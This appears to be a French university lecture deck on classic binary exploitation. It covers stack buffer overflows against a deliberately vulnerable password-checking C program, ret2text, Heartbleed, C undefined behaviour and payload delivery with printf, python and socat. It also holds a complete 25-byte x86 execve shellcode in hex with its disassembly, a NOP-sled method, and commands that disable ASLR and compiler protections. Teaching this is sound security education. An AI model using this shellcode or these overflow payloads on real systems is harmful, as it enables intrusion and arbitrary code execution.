0% ont trouvé ce document utile (0 vote)
206 vues79 pages

05 PWN

Le document présente une introduction à l'exploitation de vulnérabilités dans les programmes binaires. Il décrit des attaques classiques comme le dépassement de tampon et la corruption de la mémoire, et explique comment exploiter ces vulnérabilités pour obtenir des flags cachés ou exécuter du code de l'attaquant. Le document est destiné à des fins éducatives pour comprendre les bases de la sécurité logicielle.

Transféré par

STAR BUCKS
Copyright
© © All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
206 vues79 pages

05 PWN

Le document présente une introduction à l'exploitation de vulnérabilités dans les programmes binaires. Il décrit des attaques classiques comme le dépassement de tampon et la corruption de la mémoire, et explique comment exploiter ces vulnérabilités pour obtenir des flags cachés ou exécuter du code de l'attaquant. Le document est destiné à des fins éducatives pour comprendre les bases de la sécurité logicielle.

Transféré par

STAR BUCKS
Copyright
© © All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd

Exploitation binaire classique

INF600C
Sécurité des logiciels et exploitation de vulnérabilités

Auteur: Jean Privat, Adapté par: Philippe Pépos Petitclerc


Hiver 2023

Université du Québec à Montréal

1
Corruption mémoire classique

Les suspects usuels

Exploitation binaire

Shellcode

2
Corruption mémoire classique
Approches classiques

Dégagement de responsabilité
• Dans ce qui suit, on considère que ASLR n’est pas activé
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

• Et qu’on a compilé les binaires avec


gcc -m32 -O0 -fno-stack-protector -z execstack -z norelro

-U_FORTIFY_SOURCE -no-pie -fno-pie

Les explications et les détails plus tard…

Pourquoi des vieilles affaires?


Pour procéder par étapes

• Comprendre les vulnérabilités et attaques de base


• Comprendre les contre-mesures
• Comprendre les vulnérabilités et attaques modernes

3
pass — niveau 1

$ ./ pass
Entrez votre mot de passe :
hunter2
Vérification en cours , ne pas éteindre votre ordinateur .
Vérification complétée .
Mauvais mot de passe .
Raté !

Objectif 1: avoir un le premier FLAG

4
pass — niveau 1

$ ./ pass
Entrez votre mot de passe :
hunter2
Vérification en cours , ne pas éteindre votre ordinateur .
Vérification complétée .
Mauvais mot de passe .
Raté !

Objectif 1: avoir un le premier FLAG

$ ./ pass
Entrez votre mot de passe :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Vérification en cours , ne pas éteindre votre ordinateur .
Vérification complétée .
Bon mot de passe ; voici un premier FLAG d ' encouragement .
Erreur de segmentation

4
pass.c

9 int checkpass ( void ) {


10 int ok = 0;
11 char in [32];
12 puts (" Entrez votre mot de passe : " );
13 fgets ( in , 1024 , stdin );
14 puts (" Vérification en cours , ne pas éteindre votre ordinateur ." );
15 if ( strcmp ( in , PASS )==0)
16 ok = 0 xC0FEFE ;
17 puts (" Vérification complétée ." );
18 if ( ok )
19 puts ( " Bon mot de passe ; voici un premier FLAG d ' encouragement : " F
20 else
21 puts ( " Mauvais mot de passe ." );
22 return ok == 0 xC0FEFE ;
23 }

5
Qu’est-ce qui s’est passé?

Premier FLAG
• L’attaquant contrôle in
• Les variables locales in et ok sont à coté sur la pile
• L’entrée de l’utilisateur a débordé de la variable locale in
• Ça a modifié la variable locale ok

Erreur de segmentation
• L’adresse de retour de la fonction est également sur la pile
• Elle a également été corrompue
• Le retour de fonction s’est mal passé

6
Corruption mémoire

• L’attaquant profite du comportement du programme


• pour modifier la mémoire du processus
• à son avantage

Dépassement de tampon (buffer overflow)


Corruption mémoire n°1

Écrire en dehors des limites d’une donnée en mémoire modifie des


données adjacentes en mémoire

• CWE-119: Improper Restriction of Operations within the Bounds of a


Memory Buffer
• CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer
Overflow’)
• CWE-121: Stack-based Buffer Overflow
• CWE-122: Heap-based Buffer Overflow
7
Autres abus de mémoire

• Lecture plus ou moins arbitraire pour faire fuiter de l’information


• CWE-123: Write-what-where Condition L’attaquant peut écrire ce qu’il
veut où il veut → C’est très puissant!
• CWE-416 Use After Free
• CWE-457 Use of Uninitialized Variable

8
Heartbleed

• CVE-2014-0160
• Bug dans la fonctionnalité heartbeats d’OpenSSL
• Permet à l’attaquant de récupérer des pans entiers de mémoire
• Mémoire qui contient des clés privées et autres secrets

[Link]

9
Heartbleed

Source: [Link] (2014)

10
Heartbleed

11
Heartbleed

Source: [Link] (2014)

12
Heartbleed — patch (simplifié)

1 + if (1 + 2 + payload + 16 > s - > s3 - > rrec . length )


2 + /* silently discard per RFC 6520 sec . 4 */
3 + return 0;
4
5 // ...
6
7 buffer = OPENSSL_malloc (1 + 2 + payload + 16);
8
9 // ...
10
11 memcpy (bp , pl , payload );
12
13 // ...
14
15 r = ssl3_write_bytes (s , TLS1_RT_HEARTBEAT ,
16 buffer , 1 + 2 + payload + 16);

13
pass.c — niveau 2

9 int checkpass ( void ) {


10 int ok = 0;
11 char in [32];
12 puts (" Entrez votre mot de passe : " );
13 fgets ( in , 1024 , stdin );
14 puts (" Vérification en cours , ne pas éteindre votre ordinateur ." );
15 if ( strcmp ( in , PASS )==0)
16 ok = 0 xC0FEFE ;
17 puts (" Vérification complétée ." );
18 if ( ok )
19 puts ( " Bon mot de passe ; voici un premier FLAG d ' encouragement : " F
20 else
21 puts ( " Mauvais mot de passe ." );
22 return ok == 0 xC0FEFE ;
23 }

• Objectif 2: faire que checkpass retourne true


14
Qu’est-ce qui s’est passé? (second flag)

L’attaquant contrôle in
• La variable in déborde sur ok (4 octets)
• La octets de in qui écrasent ok sont FE FE C0 00
Lorsque le processeur utilise ok
• Ces 4 octets sont interprétés comme le nombre 0xc0fefe
• Ce qui fait réussir le test (instruction cmpl)

15
pass.c — niveau 3

25 int getflag2 ( void ) {


26 puts (" Second FLAG . Persévérez . " FLAG2 );
27 }
28
29 int getflag3 ( void ) {
30 puts (" Troisième FLAG : " FLAG3 "\ nMais où est le 4 ème ? " );
31 }
32
33 int main ( void ) {
34 setbuf ( stdout , NULL );
35 if ( checkpass ()) getflag2 ();
36 else puts ( " Raté !" );
37 }

• Objectif 3: exécuter la fonction getflag3

16
Qu’est-ce qui s’est passé? (troisième flag)

L’attaquant contrôle in
• La variable in déborde sur l’adresse de retour de la fonction
• Les octets de in qui écrasent le retour sont 96 85 04 08
Lorsque le processeur termine la fonction (instruction ret)
• Le compteur ordinal est mis à 0x08048596
• Or c’est l’adresse de la fonction getflag3
• Ce qui fait exécuter cette fonction
Le retour de la fonction getflag3 se passe mal
• La pile est incohérente
• Il n’y a pas d’adresse de retour
• EBP est corrompu

17
ret2text

Attaque classique: ret2text


• L’attaquant contrôle le compteur ordinal
→ Habituellement, en écrasant l’adresse de retour dans la pile via un
débordement de tampon
→ Il abuse l’instruction machine ret
• Et fait pointer sur une adresse du code machine du programme
→ On appelle text le segment mémoire qui contient le code machine

18
Les suspects usuels
Qui est coupable de négligence ?

•  Le programmeur ?
•  Le langage de programmation ?
•  Les bibliothèques standards ?
•  Le compilateur ?
•  L’éditeur de liens dynamique ?
•  Le système d’exploitation ?
•  Le processeur ?

19
Qui est coupable?

À chacun on peut attribuer un part d’explication…


… mais le responsable reste le programmeur

20
Suspect: le processeur 

21
Suspect: le processeur 

• Exécute mécaniquement et aveuglement les instructions machine


• Accède aux données en mémoire de façon agnostique
• Applique les protections matérielles (protection mémoire)

Coupable ?

21
Suspect: le processeur 

• Exécute mécaniquement et aveuglement les instructions machine


• Accède aux données en mémoire de façon agnostique
• Applique les protections matérielles (protection mémoire)

Coupable ?
• N’a pas pas de concept de pile, de variable locale ou d’adresse de
retour
• Fournit des mécanismes (call, ret, SP)
• Mais n’est pas responsable de leur (mauvaises) utilisations

21
Suspect: le système d’exploitation? 

22
Suspect: le système d’exploitation? 

• Isole les processus


• Attribue les espaces mémoire (une page ≈ 4ko)
• Charge les exécutables en mémoire
• Configure les protections matérielles
• Applique les politiques quand les protections matérielles sont
violées

Coupable ?

22
Suspect: le système d’exploitation? 

• Isole les processus


• Attribue les espaces mémoire (une page ≈ 4ko)
• Charge les exécutables en mémoire
• Configure les protections matérielles
• Applique les politiques quand les protections matérielles sont
violées

Coupable ?
• S’occupe d’allouer la pile
• Mais n’est pas responsable de ce qui en est fait

22
Suspect: l’éditeur de liens dynamique 

23
Suspect: l’éditeur de liens dynamique 

• Cherche les bibliothèques utilisées par le programme


• Les charge en mémoire
• Résout les symboles (dynamic relocation)

Coupable ?

23
Suspect: l’éditeur de liens dynamique 

• Cherche les bibliothèques utilisées par le programme


• Les charge en mémoire
• Résout les symboles (dynamic relocation)

Coupable ?
• Non, c’est juste un passant dans cette histoire

23
Suspect: la bibliothèque 

24
Suspect: la bibliothèque 

• Fournit des services standards


• Documente les comportements, les limites et les responsabilités

Coupable ?

24
Suspect: la bibliothèque 

• Fournit des services standards


• Documente les comportements, les limites et les responsabilités

Coupable ?
• C’est le code de fgets qui corrompt la mémoire
• Mais on lui a fournit une mauvaise information sur la taille du
tableau

24
Bugs de bibliothèques

Plusieurs fonctions standards de la libc peuvent avoir des impacts de


sécurité lorsqu’elles sont mal utilisées
• débordement de tampons: fgets, read, strcat, etc.
• injection de commandes: exec, system, popen, etc.
• format string: printf et cie.
• faible pseudo-aléa: random et cie.
• situation de concurrence: access, chmod, etc.
Aide: peda affiche la plupart de ces fonctions en rouge

25
Bugs de bibliothèques

Contre-mesures
• Lire et comprendre la doc des fonctions En particulier les notes de
sécurité

• Utiliser des outils: flawfinder, valgrind, etc.

Attention
• « A fool with a tool is still a fool. » — Grady Booch, co-créateur d’UML
• Ne pas corriger un bug qu’on ne comprend pas
• CVE-2008-0166 Clés OpenSSL prévisibles chez Debian

26
Debian et OpenSSL

Source: [Link] (2008)


27
Suspect: le langage C 

Histoire
• Conçu en 1969 pour écrire UNIX
• Langage impératif
• Permet l’écriture de programmes très efficaces
• Laisse le contrôle au programmeur

28
Suspect: le langage C

29
Suspect: le langage C

• Contrôle fin de la mémoire avec des pointeurs


• Le programmeur doit s’assurer de la correction de son programme
d’un point de vue de la mémoire
• La spécification prévoit des comportements non-déterminés

Coupable ?

29
Suspect: le langage C

• Contrôle fin de la mémoire avec des pointeurs


• Le programmeur doit s’assurer de la correction de son programme
d’un point de vue de la mémoire
• La spécification prévoit des comportements non-déterminés

Coupable ?
• Les règles de programmation à suivre sont documentées
• Le concept de variable locale et d’appel de fonction existent en C
• Pas de concept de pile ou d’adresse de retour dans le standard C

29
Comportements définis par l’implémentation

Le langage impose à l’implémentation de définir et documenter certains


comportements

Exemples
• Quelle est la taille d’un entier int? 16? 32? 64?
• Quelle est le boutisme d’un entier? gros, petit?

Portabilité
Un programme qui utilise un comportement défini par la plateforme est
correct mais n’est plus portable

• « Mais chez-moi ça marche (en 32 bits) ! »

30
Comportements non spécifiés

• Le langage n’impose pas de comportement


• La plateforme a le choix de l’implémentation
• Et peut en changer au cas par cas

Exemples
• Dans quel ordre se fait l’évaluation des paramètres?
• Où sont stockées les variables locales: registre, pile, nulle part?
• Est-ce que deux chaînes littérales identiques sont distinctes?

Correction
Un programme qui nécessite un comportement non spécifié particulier
est incorrect

• « Mais chez-moi ça marche (avec gcc-3 -O0) ! »

31
Comportement indéfini

• Le langage indique des règles qui ne peuvent pas être violées


• Une règle violée rend l’entièreté de l’exécution invalide

Exemples
• Accéder à un tableau hors de son intervalle
• Diviser par 0
• Déréférencer NULL
• Utiliser une variable locale non initialisée

Quelques comportements possibles


• Le programme retourne 42
• Le programme plante
• Le programme efface des données utilisateurs
• Le programme cause une invasion de sauterelles

« Mais chez-moi ça marche (ya pas de sauterelles) ! »


32
Suspect: le compilateur + assembleur + éditeur de liens 

33
Suspect: le compilateur + assembleur + éditeur de liens 

• Transforme un programme C en un programme en langage machine


équivalent

Coupable ?

33
Suspect: le compilateur + assembleur + éditeur de liens 

• Transforme un programme C en un programme en langage machine


équivalent

Coupable ?
• Est responsable de représenter les variable locales en mémoire (ou
registres)
• Est responsable d’implémenter l’appel et le retour des fonctions

Des choix de compilation différents aurait changé la donne

• -O1 aurait implémenté ok dans un registre et non dans la pile

33
Compilation: les règles

Un compilateur
• Peut effectuer toutes les transformations et optimisations qui ne
changent pas le comportement observable du programme (règle du
« comme si »)
• Est libre d’interpréter les comportements non définis et non
déterminés à sa guise

Que fait le programme suivant?

1 int main ( int argc , char ** argv ) {


2 int *p ;
3 if ( argc == 42) p = & argc ;
4 printf ( "% d \n " , *p );
5 return 0;
6 }

34
Compilation

Source: [Link] (2007)

35
Suspect: le programmeur? 

36
Suspect: le programmeur? 

• Doit connaître et comprendre la spécification du langage


• Ne devrait jamais coder des choses qui ont un comportement
indéfini ou indéterminé

36
Suspect: le programmeur? 

• Doit connaître et comprendre la spécification du langage


• Ne devrait jamais coder des choses qui ont un comportement
indéfini ou indéterminé

36
Exploitation binaire
Exploitation binaire

« What you must learn is that these rules are no different that the rules of
a computer system. Some of them can be bent. Others can be broken.
Understand? » — Morpheus, Matrix

37
Exploitation binaire

L’attaquant
• Comprend le rôle des différentes composantes (programme, os, lib,
etc.)
• Identifie des comportements exploitables dans le code machine
(rétro-ingénierie) Il s’agit de vulnérabilités dans le programme.
• Détermine une donnée qui exploite ces comportements Du point de
vu du processeur
• Ce payload est une donné normale
• D’un programme exécuté normalement
• Développe un programme qui livre cette donnée à la victime Cet
exploit fait l’attaque effective du serveur, du programme, de
l’utilisateur, etc.

38
Comprendre le rôle des différentes composantes

Source: [Link]

39
Livrer un payload statique

Entrée standard (stdin) et réseau (netcat)


• Redirection de fichiers
• Tubes

$ ./ prog < payload


$ cat payload | ./ prog
$ printf " AAAAAAA \ xfe \ xfe \ xc0 " | ./ prog
$ python -c ' print ( b "A "*42 + b "\ xfe \ xfe \ xc0 ") ' | ./ prog
$ python exploit . py | ./ prog

Maintenir stdin quand on a un shell

$ cat payload - | ./ prog


$ { python exploit . py ; cat ; } | ./ prog

Attention aux tampons


• gets, fread, scanf et autres fonctions C consomment plus que
demandé.
40
Autres livraisons

Livrer le payload via un argument

$ ./ prog "` cat payload `"

Attention: les octets nuls (\0) sont ignorés

Livrer le payload via un fichier


• Juste placer le fichier
• Au pire bricoler avec des liens symboliques
• cf. exploitation système

41
Ne pas travailler à l’aveugle

• Essayer de toujours comprendre ce qui se passe


• Rappel: il n’y a pas de magie

gdb

$ gdb ./ prog
> r < payload
> r "` python -c ' print " A "*42 + " BBBB " ' `"

• Attention: gdb lance le programme avec le chemin complet Ce qui


décale $esp

• Astuce: gdb -p pour attacher dans une autre console

traces

$ python -c ' printf "A "*42+" BBBB "' | ltrace - Sfi ./ prog

42
Ne pas y aller à l’arrache

« Vas-y fonce ! On sait jamais, sur un malentendu ça peut marcher ! » —


Jean-Claude Dusse, Les Bronzés font du ski (1979)

43
Livrer un payload dynamique

Le contenu du payload dépend des sorties du programme


• Paramètres spécifiques/challenge
• Fuite d’information
Payload via entrée/sortie standards (stdin/stdout) et réseau
• Session interactive avec l’humain $ python -i | ./prog
• Programmatique bidirectionnel $ socat -v EXEC:./[Link] EXEC:./prog
$ socat -v EXEC:./[Link] TCP:host:port

• Programmer les sockets à la main


• Programmer avec des bibliothèques et outils: expect, pwn tools, etc.
Payload dans un fichier
• Lien symbolique avec /dev/stdin
• Tube nommé

44
pass (64 bits)

$ ./ pass_64
Entrez votre mot de passe :
hunter2
Vérification en cours , ne pas éteindre votre ordinateur .
Vérification complétée .
Mauvais mot de passe .
Raté !

Objectifs: avoir les flags 1, 2 et 3 en 64 bits

45
Qu’est ce qui change en 64 bits?

De plus grands registres et espace d’adressage (8 octets)


• Registres généraux
• RIP, RSP
• Les pointeurs de fonctions
Des octets 0 dans les pointeurs
• Complique l’exploitation des fonctions de chaînes strcpy, printf, etc.
• Exemple RIP 0x0000560d88588532
• Exemple RSP 0x00007ffce91267ea
Plus de registres
• Moins de variables locales dans la pile à corrompre
Convention d’appel fast call
• Moins de pile, plus de registres
• Moins d’arguments et de valeurs de retour dans la pile à corrompre

46
Shellcode
Pwn

« I could come up with a program that could rip that place off big time…
big time. » — Michael Bolton, Office Space (1999)

47
pass — niveau 4

• Objectif 4: exécuter du code arbitraire


→ Ouvrir un shell interactif

48
Shellcode

• Le payload d’un exploit


• En code machine
• Qui sert à ouvrir un shell (ou autre)
Contraintes
• Petit
• Filtre souvent: 0x00 '\0', 0x0A '\n', voir tout ce qui n’est pas
alphanumérique…
• Très bas niveau

49
Livraison du shellcode

• Développer le shellcode
• Le mettre quelque part en mémoire
• Faire pointer IP dessus

50
Développer un shellcode

• Écrire du code machine/assembleur


• Avec des contraintes
→ Ouvroir d’assembleur potentiel (Ouaspo)
• Des catalogues existent [Link]

51
Détail d’un shellcode

25 octets

31 c0 31 d2 50 68 2f 2 f 73 68 68 2f 62
69 6e 89 e3 50 53 89 e1 b0 0 b cd 80

52
Détail d’un shellcode

25 octets

31 c0 31 d2 50 68 2f 2 f 73 68 68 2f 62
69 6e 89 e3 50 53 89 e1 b0 0 b cd 80

11 instructions

31 c0 xor eax , eax


31 d2 xor edx , edx
50 push eax
68 2f 2f 73 68 push 0 x68732f2f
68 2f 62 69 6e push 0 x6e69622f
89 e3 mov ebx , esp
50 push eax
53 push ebx
89 e1 mov ecx , esp
b0 0b mov al ,0 xb
cd 80 int 0 x80
52
Appel systèmes

Spécifiques au système et la plateforme (ABI)


En linux 80386: int 0x80
• %eax = numéro d’appel système
• %ebx = premier argument
• %ecx = second argument
• %edx = troisième argument
• etc.
• %eax = retour
Appel système execve(2):
• %eax = 11 (0xb)
• %ebx = char* fichier
• %ecx = char* args[]
• %edx = char* envp[]

53
Faire pointer IP

• Shellcode dans la pile


• Quelle est l’adresse exacte?
Ça dépend de où on est dans la pile Donc de ce qu’il y a avant
• Cadres d’exécution des fonctions
• Arguments du programmes
• Variables d’environnement
On peut déterminer en local Mais comment deviner en distant?

54
Toboggan NOP

Solution : toboggan NOP (NOP slide ou nopsled)


• Préfixer le shellcode par des NOP (0x90)
• Viser au milieu du nopslep
→ approximer l’adresse

55
Shellcode: mise en œuvre

Payload
• “A” * décalage
• Adresse approximée du milieu du nopsled: écrase le retaddr original
• Nopsled: 0x90 à grandeur
• Contenu du shellcode

56
Shellcode en 64 bits

• Nouvelle instruction machine syscall. Plus rapide!


• En Linux x86_64: numéro=%rax arguments=%rdi, %rsi, %rdx, %r10,
%r8, %r9 retour=%rax execve(2): numéro 59 (0x3b)
• Plein de 0 dans les pointeurs :(
Autrement, c’est pareil…

57
Shellcode: récapitulatif

Injection de code
• À cause d’un bug dans le programme
→ (c’est la faute au programmeur)
• De la donnée contrôlée par l’attaquant
• Est interprété par erreur comme des instructions
→ Ce qui permet à l’attaquant de contrôler le comportement du
programme
Architecture de Von Neumann
• La mémoire stocke données et code
• Sous une même forme (des octets)
Shellcode
• Injection de code
• Qui lance un shell (habituellement)
• Mais en langage machine
58
C’était facile (il y a 20 ans)

« Well, that was easy. » — Michael Bolton, Office Space (1999)

59

Vous aimerez peut-être aussi